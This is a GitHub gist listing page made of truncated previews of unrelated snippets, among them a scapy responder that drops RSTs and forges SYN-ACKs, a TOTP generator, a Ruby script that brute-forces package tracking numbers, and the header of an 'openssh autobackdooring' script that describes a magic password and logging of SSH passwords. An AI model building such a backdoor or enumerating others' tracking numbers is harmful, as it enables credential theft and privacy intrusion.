#!/usr/local/bin/python2
from scapy.all import *
os.system("iptables -A OUTPUT -p tcp -o eth0 --sport 1:65535 --tcp-flags RST RST -j DROP")
def packet(pkt):
if pkt[TCP].flags == 2:
print('SYN packet detected port : ' + str(pkt[TCP].sport) + ' from IP Src : ' + pkt[IP].src)
send(IP(dst=pkt[IP].src, src=pkt[IP].dst)/TCP(dport=pkt[TCP].sport, sport=pkt[TCP].dport,ack=pkt[TCP].seq + 1, flags='SA'))
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWC960i4OMbRFUel7tQBVRXd6mQHyz7WGGw/OG6dHCWnExPk3mFfHTccrd76Q7pE01Em7lY3npT8pd5k4zuigZUBO4oel1p4KcHjeQya5BXMi0Xgunyny/8vn3VSPwr6qA9YppnMGmxq35BxLei7iuWcM5ibpnj9xKF7ws0tqU06n0JSz50Gd1LWH7uVcQyFj3UBflgPhQ/3LBAwCIsb3/aWL0D5eZ3vdXRLl114H50qBCgMoFgeQXNRYn8MCOmmC6ZzOz0nGk1DnTiN71kHZqP8KWUQGYjGDNCNjRitWUd4dnM3ZcHVNmrASczmQ/yyE8PWzHrHC5qpOaYbklPeWF [email protected] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fstream> | |
#include <string> | |
#include <sstream> | |
#include <iostream> | |
#include <vector> | |
#include <numeric> | |
using namespace std; | |
template <typename T> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""Get Sentinel-1 orbit file(s) from ESA archive website""" | |
import argparse | |
import logging | |
import os | |
import re | |
import sys | |
from datetime import datetime | |
from pyroSAR.examine import ExamineSnap |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def get_totp_token(secret, refresh_time=int(time.time())//30): | |
secret = secret.strip().replace(' ', '') | |
secret = secret.ljust((len(secret) + 7) & (-8) ,'=') | |
key = base64.b32decode(secret, True) | |
msg = struct.pack(">Q", refresh_time) | |
h = bytearray(hmac.new(key, msg, hashlib.sha1).digest()) | |
o = h[19] & 15 | |
h = str((struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000) | |
return h.zfill(6) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import torch | |
import torch.nn.functional as F | |
from torch import nn | |
from torchvision import models | |
from math import ceil, floor | |
from functools import reduce | |
# https://www.dfki.de/fileadmin/user_upload/import/9245_FastCNNFeature_BMVC.pdf |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "net/http" | |
require 'parallel' | |
start = "54608206666?" | |
start = "54608??????4" | |
def make_tracking_num(i, start) | |
n = start.count("?") | |
missing = sprintf("%0#{n}d" % i).split('') | |
track = start.gsub '?', '%d' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Converts the CDiscount data from BSON format to HDF5 files | |
* | |
* Author: Lloyd Hughes <[email protected]> | |
* | |
* To compile: gcc -o bson_to_hdf5 bson_to_hdf5.c -I/usr/include/libbson-1.0 -L/usr/lib64 -lbson-1.0 -lhdf5_hl -lhdf5 -lrt -lpthread -lz -ldl -lm -Wl | |
*/ | |
#include <stdio.h> | |
#include <bson.h> | |
#include <hdf5.h> | |
#include <pthread.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# ============================================ | |
# satyr's openssh autobackdooring doohicky v0.-1 | |
# [email protected] | |
# ============================================ | |
# USAGE: | |
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing). | |
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything | |
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc. | |
# [it'll install them via apt or yum, whichever is available]). |
Related Setup: https://gist.github.com/hofmannsven/6814278
Related Pro Tips: https://ochronus.com/git-tips-from-the-trenches/
NewerOlder